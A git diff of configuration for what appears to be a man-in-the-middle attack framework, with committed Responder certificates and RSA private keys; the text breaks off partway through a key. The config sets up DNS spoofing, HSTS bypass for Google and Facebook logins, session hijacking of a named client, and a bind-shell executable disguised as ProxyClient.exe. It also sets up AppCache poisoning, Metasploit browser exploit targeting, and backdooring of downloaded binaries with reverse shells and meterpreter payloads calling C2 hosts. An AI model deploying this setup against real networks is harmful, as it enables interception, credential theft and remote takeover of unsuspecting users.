+ + [[[A]]] # Queries for IPv4 address records + *.thesprawl.org=192.168.178.27 + *.captive.portal=192.168.1.100 + + [[[AAAA]]] # Queries for IPv6 address records + *.thesprawl.org=2001:db8::1 + + [[[MX]]] # Queries for mail server records + *.thesprawl.org=mail.fake.com + + [[[NS]]] # Queries for mail server records + *.thesprawl.org=ns.fake.com + + [[[CNAME]]] # Queries for alias records + *.thesprawl.org=www.fake.com + + [[[TXT]]] # Queries for text records + *.thesprawl.org=fake message + + [[[PTR]]] # PTR queries + *.2.0.192.in-addr.arpa=fake.com + + [[[SOA]]] #FORMAT: mname rname t1 t2 t3 t4 t5 + *.thesprawl.org=ns.fake.com. hostmaster.fake.com. 1 10800 3600 604800 3600 + + [[[NAPTR]]] #FORMAT: order preference flags service regexp replacement + *.thesprawl.org=100 10 U E2U+sip !^.*$!sip:customer-service@fake.com! . + + [[[SRV]]] #FORMAT: priority weight port target + *.*.thesprawl.org=0 5 5060 sipserver.fake.com + + [[[DNSKEY]]] #FORMAT: flags protocol algorithm base64(key) + *.thesprawl.org=256 3 5 AQPSKmynfzW4kyBv015MUG2DeIQ3Cbl+BBZH4b/0PY1kxkmvHjcZc8nokfzj31GajIQKY+5CptLr3buXA10hWqTkF7H6RfoRqXQeogmMHfpftf6zMv1LyBUgia7za6ZEzOJBOztyvhjL742iU/TpPSEDhm2SNKLijfUppn1UaNvv4w== + + [[[RRSIG]]] #FORMAT: covered algorithm labels labels orig_ttl sig_exp sig_inc key_tag name base64(sig) + *.thesprawl.org=A 5 3 86400 20030322173103 20030220173103 2642 thesprawl.org. oJB1W6WNGv+ldvQ3WDG0MQkg5IEhjRip8WTrPYGv07h108dUKGMeDPKijVCHX3DDKdfb+v6oB9wfuh3DTJXUAfI/M0zmO/zz8bW0Rznl8O3tGNazPwQKkRN20XPXV6nwwfoXmJQbsLNrLfkGJ5D6fwFm8nN+6pBzeDQfsS3Ap3o= + +# +# Plugin configuration starts here +# +[Captive] + + # Set Server Port and string if we are serving our own portal from SimpleHTTPServer (80 is already used by default server) + Port = 8080 + ServerString = "Captive Server 1.0" + + # Set the filename served as /CaptivePortal.exe by integrated http server + PayloadFilename = config/captive/calc.exe + +[Replace] + + [[Regex1]] + 'Google Search' = '44CON' + + [[Regex2]] + "I'm Feeling Lucky" = "I'm Feeling Something In My Pants" + +[Ferret-NG] + # + # Here you can specify the client to hijack sessions from + # + + Client = '10.0.237.91' + +[SSLstrip+] + + # + #Here you can configure your domains to bypass HSTS on, the format is real.domain.com = fake.domain.com + # + + #for google and gmail + accounts.google.com = account.google.com + mail.google.com = gmail.google.com + accounts.google.se = cuentas.google.se + + #for facebook + www.facebook.com = social.facebook.com + +[Responder] + + #Servers to start + SQL = On + HTTPS = On + Kerberos = On + FTP = On + POP = On + SMTP = On + IMAP = On + LDAP = On + + #Custom challenge + Challenge = 1122334455667788 + + #Specific IP Addresses to respond to (default = All) + #Example: RespondTo = 10.20.1.100-150, 10.20.3.10 + RespondTo = + + #Specific NBT-NS/LLMNR names to respond to (default = All) + #Example: RespondTo = WPAD, DEV, PROD, SQLINT + RespondToName = + + #Specific IP Addresses not to respond to (default = None) + #Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10 + DontRespondTo = + + #Specific NBT-NS/LLMNR names not to respond to (default = None) + #Example: DontRespondTo = NAC, IPS, IDS + DontRespondToName = + + [[HTTP Server]] + + #Set to On to always serve the custom EXE + Serve-Always = Off + + #Set to On to replace any requested .exe with the custom EXE + Serve-Exe = On + + #Set to On to serve the custom HTML if the URL does not contain .exe + Serve-Html = Off + + #Custom HTML to serve + HtmlFilename = config/responder/AccessDenied.html + + #Custom EXE File to serve + ExeFilename = config/responder/BindShell.exe + + #Name of the downloaded .exe that the client will see + ExeDownloadName = ProxyClient.exe + + #Custom WPAD Script + WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}' + + #HTML answer to inject in HTTP responses (before tag). + #Set to an empty string to disable. + #In this example, we redirect make users' browsers issue a request to our rogue SMB server. + HTMLToInject = Loading + + [[HTTPS Server]] + + #Configure SSL Certificates to use + SSLCert = config/responder/responder.crt + SSLKey = config/responder/responder.key + +[AppCachePoison] + # HTML5 AppCache poisioning attack + # see http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html for description of the attack. + # generic settings for tampering engine + + #enable_only_in_useragents=Chrome|Firefox + + templates_path=config/app_cache_poison_templates + + # when visiting first url matching following expression we will embed iframes with all tamper URLs + #(to poison the cache for all of them all at once) + + mass_poison_url_match=http://.*prezydent\.pl.* + + # it's only useful to mass poison chrome because: + # - it supports iframe sandbox preventing framebusting + # - does not ask for confirmation + + mass_poison_useragent_match=Chrome|Safari + + [[test]] + # any //example.com URL redirects to iana and will display our spoofed content + + tamper_url=http://example.com/ + manifest_url=http://www.iana.org/robots.txt #use existing static URL that is rarely seen by the browser user, but exists on the server (no 404!) + templates=test # which templates to use for spoofing content? + skip_in_mass_poison=1 + + [[google]] + tamper_url_match = http://www.google.com\.*. + tamper_url = http://www.google.com + manifest_url = http://www.google.com/robots.txt + + [[facebook]] + tamper_url=http://www.facebook.com/?_rdr + manifest_url=http://www.facebook.com/robots.txt + templates=facebook # use different template + + [[twitter]] + tamper_url=http://twitter.com/ + tamper_url_match=^http://(www\.)?twitter\.com/$ + manifest_url=http://twitter.com/robots.txt + + [[html5rocks]] + tamper_url=http://www.html5rocks.com/en/ + manifest_url=http://www.html5rocks.com/robots.txt + + [[ga]] + # we can also modify non-HTML URLs to append malicious code to them + # but for them to be cached in HTML5 AppCache they need to be referred in + # manifest for a poisoned domain + # if not, they are "only" cached for 10 years :D + + raw_url=http://www.google-analytics.com/ga.js + templates=script + skip_in_mass_poison=1 + #you can add other scripts in additional sections like jQuery etc. + +[BrowserSniper] + # + # Currently only supports java, flash and browser exploits + # + # The version strings were pulled from http://www.cvedetails.com + # + # When adding java exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28 + # + + msfport = 8080 # Port to start Metasploit's webserver which will host the exploits + + [[exploits]] + + [[[multi/browser/java_rhino]]] #Exploit's MSF path + + Type = PluginVuln #Can be set to PluginVuln, BrowserVuln + OS = Any #Can be set to Any, Windows or Windows + version (e.g Windows 8.1) + + Browser = Any #Can be set to Any, Chrome, Firefox, MSIE or browser + version (e.g IE 6) + Plugin = Java #Can be set to Java, Flash (if Type is BrowserVuln will be ignored) + + #An exact list of the plugin versions affected (if Type is BrowserVuln will be ignored) + PluginVersions = 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.23, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.3, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0 + + [[[multi/browser/java_atomicreferencearray]]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.5.0, 1.5.0.1, 1.5.0.10, 1.5.0.11, 1.5.0.12, 1.5.0.13, 1.5.0.14, 1.5.0.15, 1.5.0.16, 1.5.0.17, 1.5.0.18, 1.5.0.19, 1.5.0.2, 1.5.0.20, 1.5.0.21, 1.5.0.22, 1.5.0.23, 1.5.0.24, 1.5.0.25, 1.5.0.26, 1.5.0.27, 1.5.0.28, 1.5.0.29, 1.5.0.3, 1.5.0.31, 1.5.0.33, 1.5.0.4, 1.5.0.5, 1.5.0.6, 1.5.0.7, 1.5.0.8, 1.5.0.9, 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.29, 1.6.0.3, 1.6.0.30, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0, 1.7.0.1, 1.7.0.2 + + [[[multi/browser/java_jre17_jmxbean_2]]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 + + [[[multi/browser/java_jre17_reflection_types]]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 + + [[[multi/browser/java_verifier_field_access]]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.4.2.37, 1.5.0.35, 1.6.0.32, 1.7.0.4 + + [[[multi/browser/java_jre17_provider_skeleton]]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.21, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 + + [[[exploit/windows/browser/adobe_flash_pcre]]] + + Type = PluginVuln + OS = Windows + Browser = Any + Plugin = Flash + PluginVersions = 11.2.202.440, 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296 + + [[[exploit/windows/browser/adobe_flash_net_connection_confusion]]] + + Type = PluginVuln + OS = Windows + Browser = Any + Plugin = Flash + PluginVersions = 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 16.0.0.305 + + [[[exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array]]] + + Type = PluginVuln + OS = Windows + Browser = Any + Plugin = Flash + PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144 + + [[[exploit/multi/browser/adobe_flash_opaque_background_uaf]]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Flash + PluginVersions = 11.1, 11.1.102.59, 11.1.102.62, 11.1.102.63, 11.1.111.44, 11.1.111.50, 11.1.111.54, 11.1.111.64, 11.1.111.73, 11.1.111.8, 11.1.115.34, 11.1.115.48, 11.1.115.54, 11.1.115.58, 11.1.115.59, 11.1.115.63, 11.1.115.69, 11.1.115.7, 11.1.115.81, 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273, 11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.327, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.411, 11.2.202.424, 11.2.202.425, 11.2.202.429, 11.2.202.438, 11.2.202.440, 11.2.202.442, 11.2.202.451, 11.2.202.468, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.244, 13.0.0.250, 13.0.0.257, 13.0.0.258, 13.0.0.259, 13.0.0.260, 13.0.0.262, 13.0.0.264, 13.0.0.289, 13.0.0.292, 13.0.0.302, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 17.0.0.134, 17.0.0.169, 17.0.0.188, 17.0.0.190, 18.0.0.160, 18.0.0.194, 18.0.0.203, 18.0.0.204 + + [[[exploit/multi/browser/adobe_flash_hacking_team_uaf]]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Flash + PluginVersions = 13.0.0.292, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 17.0.0.134, 17.0.0.169, 17.0.0.188, 18.0.0.161, 18.0.0.194 + +[FilePwn] + + # + # Author Joshua Pitts the.midnite.runr 'at' gmail com + # + # Copyright (c) 2013-2014, Joshua Pitts + # All rights reserved. + # + # Redistribution and use in source and binary forms, with or without modification, + # are permitted provided that the following conditions are met: + # + # 1. Redistributions of source code must retain the above copyright notice, + # this list of conditions and the following disclaimer. + # + # 2. Redistributions in binary form must reproduce the above copyright notice, + # this list of conditions and the following disclaimer in the documentation + # and/or other materials provided with the distribution. + # + # 3. Neither the name of the copyright holder nor the names of its contributors + # may be used to endorse or promote products derived from this software without + # specific prior written permission. + # + # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE + # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + # POSSIBILITY OF SUCH DAMAGE. + # + + [[hosts]] + #whitelist host/IP - patch these only. + #ALL is everything, use the blacklist to leave certain hosts/IPs out + + whitelist = ALL + + #Hosts that are never patched, but still pass through the proxy. You can include host and ip, recommended to do both. + + blacklist = , # a comma is null do not leave blank + + + [[keywords]] + #These checks look at the path of a url for keywords + + whitelist = ALL + + #For blacklist note binaries that you do not want to touch at all + + # Also applied in zip files + + blacklist = .dll + + + [[ZIP]] + # patchCount is the max number of files to patch in a zip file + # After the max is reached it will bypass the rest of the files + # and send on it's way + + patchCount = 5 + + # In Bytes + maxSize = 50000000 + + blacklist = .dll, #don't do dlls in a zip file + + [[TAR]] + # patchCount is the max number of files to patch in a tar file + # After the max is reached it will bypass the rest of the files + # and send on it's way + + patchCount = 5 + + # In Bytes + maxSize = 10000000 + + blacklist = , # a comma is null do not leave blank + + [[targets]] + #MAKE SURE that your settings for host and port DO NOT + # overlap between different types of payloads + + [[[ALL]]] # DEFAULT settings for all targets REQUIRED + + LinuxType = ALL # choices: x86/x64/ALL/None + WindowsType = ALL # choices: x86/x64/ALL/None + FatPriority = x64 # choices: x86 or x64 + + FileSizeMax = 10000000 # ~10 MB (just under) No patching of files this large + + CompressedFiles = True #True/False + [[[[LinuxIntelx86]]]] + SHELL = reverse_shell_tcp # This is the BDF syntax + HOST = 192.168.1.168 # The C2 + PORT = 8888 + SUPPLIED_SHELLCODE = None + MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF syntax + + [[[[LinuxIntelx64]]]] + SHELL = reverse_shell_tcp + HOST = 192.168.1.16 + PORT = 9999 + SUPPLIED_SHELLCODE = None + MSFPAYLOAD = linux/x64/shell_reverse_tcp + + [[[[WindowsIntelx86]]]] + PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND + # PATCH_METHOD overwrites PATCH_TYPE, use automatic, replace, or onionduke + PATCH_METHOD = automatic + HOST = 192.168.20.79 + PORT = 8090 + # SHELL for use with automatic PATCH_METHOD + SHELL = iat_reverse_tcp_stager_threaded + # SUPPLIED_SHELLCODE for use with a user_supplied_shellcode payload + SUPPLIED_SHELLCODE = None + ZERO_CERT = True + # PATCH_DLLs as they come across + PATCH_DLL = False + # RUNAS_ADMIN will attempt to patch requestedExecutionLevel as highestAvailable + RUNAS_ADMIN = False + # XP_MODE - to support XP targets + XP_MODE = True + # SUPPLIED_BINARY is for use with PATCH_METHOD 'onionduke' DLL/EXE can be x64 and + # with PATCH_METHOD 'replace' use an EXE not DLL + SUPPLIED_BINARY = veil_go_payload.exe + MSFPAYLOAD = windows/meterpreter/reverse_tcp + + [[[[WindowsIntelx64]]]] + PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND + # PATCH_METHOD overwrites PATCH_TYPE, use automatic or onionduke + PATCH_METHOD = automatic + HOST = 192.168.1.16 + PORT = 8088 + # SHELL for use with automatic PATCH_METHOD + SHELL = iat_reverse_tcp_stager_threaded + # SUPPLIED_SHELLCODE for use with a user_supplied_shellcode payload + SUPPLIED_SHELLCODE = None + ZERO_CERT = True + PATCH_DLL = True + # RUNAS_ADMIN will attempt to patch requestedExecutionLevel as highestAvailable + RUNAS_ADMIN = False + # SUPPLIED_BINARY is for use with PATCH_METHOD onionduke DLL/EXE can x86 32bit and + # with PATCH_METHOD 'replace' use an EXE not DLL + SUPPLIED_BINARY = pentest_x64_payload.exe + MSFPAYLOAD = windows/x64/shell/reverse_tcp + + [[[[MachoIntelx86]]]] + SHELL = reverse_shell_tcp + HOST = 192.168.1.16 + PORT = 4444 + SUPPLIED_SHELLCODE = None + MSFPAYLOAD = linux/x64/shell_reverse_tcp + + [[[[MachoIntelx64]]]] + SHELL = reverse_shell_tcp + HOST = 192.168.1.16 + PORT = 5555 + SUPPLIED_SHELLCODE = None + MSFPAYLOAD = linux/x64/shell_reverse_tcp + + # Call out the difference for targets here as they differ from ALL + # These settings override the ALL settings + + [[[sysinternals.com]]] + LinuxType = None + WindowsType = ALL + CompressedFiles = False + #inherits WindowsIntelx86 from ALL + [[[[WindowsIntelx86]]]] + PATCH_DLL = False + ZERO_CERT = True + + [[[sourceforge.org]]] + WindowsType = x64 + CompressedFiles = False + + [[[[WindowsIntelx64]]]] + PATCH_DLL = False + + [[[[WindowsIntelx86]]]] + PATCH_DLL = False diff --git a/config/responder/Denied.html b/config/responder/AccessDenied.html similarity index 100% rename from config/responder/Denied.html rename to config/responder/AccessDenied.html diff --git a/config/responder/FixInternet.exe b/config/responder/BindShell.exe old mode 100755 new mode 100644 similarity index 100% rename from config/responder/FixInternet.exe rename to config/responder/BindShell.exe diff --git a/config/responder/certs/gen-self-signed-cert.sh b/config/responder/certs/gen-self-signed-cert.sh deleted file mode 100755 index e9f3c73..0000000 --- a/config/responder/certs/gen-self-signed-cert.sh +++ /dev/null @@ -1,2 +0,0 @@ -#!/bin/bash -openssl genrsa -des3 -out responder.tmp.key 2048&&openssl rsa -in responder.tmp.key -out responder.key&&openssl req -new -key responder.key -out responder.csr&&openssl x509 -req -days 365 -in responder.csr -signkey responder.key -out responder.crt&&rm responder.tmp.key responder.csr diff --git a/config/responder/certs/responder.crt b/config/responder/certs/responder.crt deleted file mode 100644 index ac239e8..0000000 --- a/config/responder/certs/responder.crt +++ /dev/null @@ -1,19 +0,0 @@ ------BEGIN CERTIFICATE----- -MIIDBjCCAe4CCQDDe8Sb2PGjITANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQGEwJB -VTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0 -cyBQdHkgTHRkMB4XDTEzMDIyODIwMTcxN1oXDTE0MDIyODIwMTcxN1owRTELMAkG -A1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0 -IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB -AMQB5yErm0Sg7sRQbLgbi/hG/8uF2xUzvVKnT4LROEWkkimy9umb2JbvAZITDvSs -r2xsPA4VoxFjKpWLOv7mAIMBR95NDWsTLuR36Sho/U2LlTlUBdSfQP7rlKQZ0L43 -YpXswdvCCJ0wP2yOhq0i71cg/Nk9mfQxftpgGUxoa+6ljU9hSdmThu2FVgAbSpNl -D86rk4K9/sGYAY4btMqaMzC7JIKZp07FHL32oM01cKbRoNg2eUuQmoVjca1pkmbO -Y8qnl7ajOjsiAPQnt/2TMJlRsdoU1fSx76Grgkm8D4gX/pBUqELdpvHtnm/9imPl -qNGL5LaW8ARgG16U0mRhutkCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEAS7u4LWc9 -wDPThD0o58Ti2GgIs+mMRx5hPaxWHJNCu+lwFqjvWmsNFfHoSzlIkIUjtlV2G/wE -FxDSPlc/V+r7U2UiE7WSqQiWdmfOYS2m03x4SN0Vzf/n9DeApyPo2GsXGrha20eN -s390Xwj6yKFdprUPJ8ezlEVRrAMv7tu1cOLzqmkocYKnPgXDdQxiiGisp7/hEUCQ -B7HvNCMPbOi+M7O/CXbfgnTD029KkyiR2LEtj4QC5Ytp/pj0UyyoIeCK57CTB3Jt -X3CZ+DiphTpOca4iENH55m6atk+WHYwg3ClYiONQDdIgKVT3BK0ITjyFWZeTneVu -1eVgF/UkX9fqJg== ------END CERTIFICATE----- diff --git a/config/responder/certs/responder.key b/config/responder/certs/responder.key deleted file mode 100644 index 2b7cbc0..0000000 --- a/config/responder/certs/responder.key +++ /dev/null @@ -1,27 +0,0 @@ ------BEGIN RSA PRIVATE KEY----- -MIIEowIBAAKCAQEAxAHnISubRKDuxFBsuBuL+Eb/y4XbFTO9UqdPgtE4RaSSKbL2 -6ZvYlu8BkhMO9KyvbGw8DhWjEWMqlYs6/uYAgwFH3k0NaxMu5HfpKGj9TYuVOVQF -1J9A/uuUpBnQvjdilezB28IInTA/bI6GrSLvVyD82T2Z9DF+2mAZTGhr7qWNT2FJ -2ZOG7YVWABtKk2UPzquTgr3+wZgBjhu0ypozMLskgpmnTsUcvfagzTVwptGg2DZ5 -S5CahWNxrWmSZs5jyqeXtqM6OyIA9Ce3/ZMwmVGx2hTV9LHvoauCSbwPiBf+kFSo -Qt2m8e2eb/2KY+Wo0YvktpbwBGAbXpTSZGG62QIDAQABAoIBABbuLg74XgLKXQSE -cCOdvWM/Ux+JOlchpW1s+2VPeqjTFvJf6Hjt7YnCzkk7h41iQmeJxgDT0S7wjgPO -tQkq+TZaSQEdvIshRGQgDxvWJIQU51E8ni4Ar4bjIpGMH5qROixV9VvzODTDdzgI -+IJ6ystDpbD4fvFNdQyxH2SL9syFRyWyxY3vWB0C/OHWxGFtiTtmeivBSmpxl0RY -RQqPLxX+xUCie7U6ud3e37FO7cKt+YT8lWKhGHKJlTlJbHs1d8crzp6qKJLl+ibB -0fB6D6E5M1fnIJFJULIYAG5bEak90KuKOKCLoKLG+rq0vUvJsb9vNCAA6rh1ra+n -8woY8TECgYEA7CEE/3oWnziB3PZoIIJDgbBalCCbA+/SgDiSvYJELEApCMj8HYc5 -UGOxrfVhPmbHRUI982Fj1oM3QBEX0zpkOk7Xk224RXwBHG8MMPQmTMVp+o06AI6D -Nggyam9v5KLNMj5KghKJSOD0tR5YxsZPXw4gAI+wpqu3bXGKZ8bRpvUCgYEA1ICJ -H+kw6H8edJHGdNH+X6RR0DIbS11XQvbKQ3vh6LdHTofoHqQa3t0zGYCgksKJbtHV -2h3pv+nuOu5FEP2rrGJIforv2zwfJ5vp65jePrSXU+Up4pMHbP1Rm91ApcKNA15U -q3SaclqTjmiqvaeSKc4TDjdb/rUaIhyIgbg97dUCgYAcdq5/jVwEvW8KD7nlkU5J -59RDXtrQ0qvxQOCPb5CANQu9P10EwjQqeJoGejnKp+EFfEKzf93lEdQrKORSVguW -68IYx3UbCyOnJcu2avfi8TkhNrzzLDqs3LgXFG/Mg8NwdwnMPCfIXTWiT5IsA+O1 -daJt7uRAcxqdWr5wXAsRsQKBgFXU4Q4hm16dUcjVxKoU08D/1wfX5UxolEF4+zOM -yy+7L7MZk/kkYbIY+HXZjYIZz3cSjGVAZdTdgRsOeJknTPsg65UpOz57Jz5RbId7 -xHDhcqoxSty4dGxiWV8yW9VYIqr0pBBo1aVQzn7b6fMWxyPZl7rLQ3462iZjDgQP -TfxNAoGBAK/Gef6MgchbFPikOVEX9qB/wt4sS3V7mT6QkqMZZgSkegDLBFVRJX3w -Emx/V2A14p0uHPzn5irURyJ6daZCN4amPAWYQnkiXG8saiBwtfs23A1q7kxnPR+b -KJfb+nDlhU1iYa/7nf4PaR/i9l6gcwOeh1ThK1nq4VvwTaTZKSRh ------END RSA PRIVATE KEY----- diff --git a/config/responder/gen-self-signed-cert.sh b/config/responder/gen-self-signed-cert.sh new file mode 100755 index 0000000..c9b948a --- /dev/null +++ b/config/responder/gen-self-signed-cert.sh @@ -0,0 +1,3 @@ +#!/bin/bash +openssl genrsa -out responder.key 2048 +openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/" diff --git a/config/responder/responder.crt b/config/responder/responder.crt new file mode 100644 index 0000000..86d9172 --- /dev/null +++ b/config/responder/responder.crt @@ -0,0 +1,18 @@ +-----BEGIN CERTIFICATE----- +MIIC0zCCAbugAwIBAgIJAOQijexo77F4MA0GCSqGSIb3DQEBBQUAMAAwHhcNMTUw +NjI5MDU1MTUyWhcNMjUwNjI2MDU1MTUyWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC +AQ8AMIIBCgKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k +sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP +2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC +6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg +WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF +N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABo1AwTjAdBgNVHQ4EFgQU +YY2ttc/bjfXwGqPvNUSm6Swg4VYwHwYDVR0jBBgwFoAUYY2ttc/bjfXwGqPvNUSm +6Swg4VYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAXFN+oxRwyqU0 +YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8 +koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335 +4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw +YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW +HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v +u0/CRCN/lg== +-----END CERTIFICATE----- diff --git a/config/responder/responder.key b/config/responder/responder.key new file mode 100644 index 0000000..f112a74 --- /dev/null +++ b/config/responder/responder.key @@ -0,0 +1,27 @@ +-----BEGIN RSA PRIVATE KEY----- +MIIEowIBAAKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k +sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP +2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC +6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg +WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF +N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABAoIBABuAkDTUj0nZpFLS 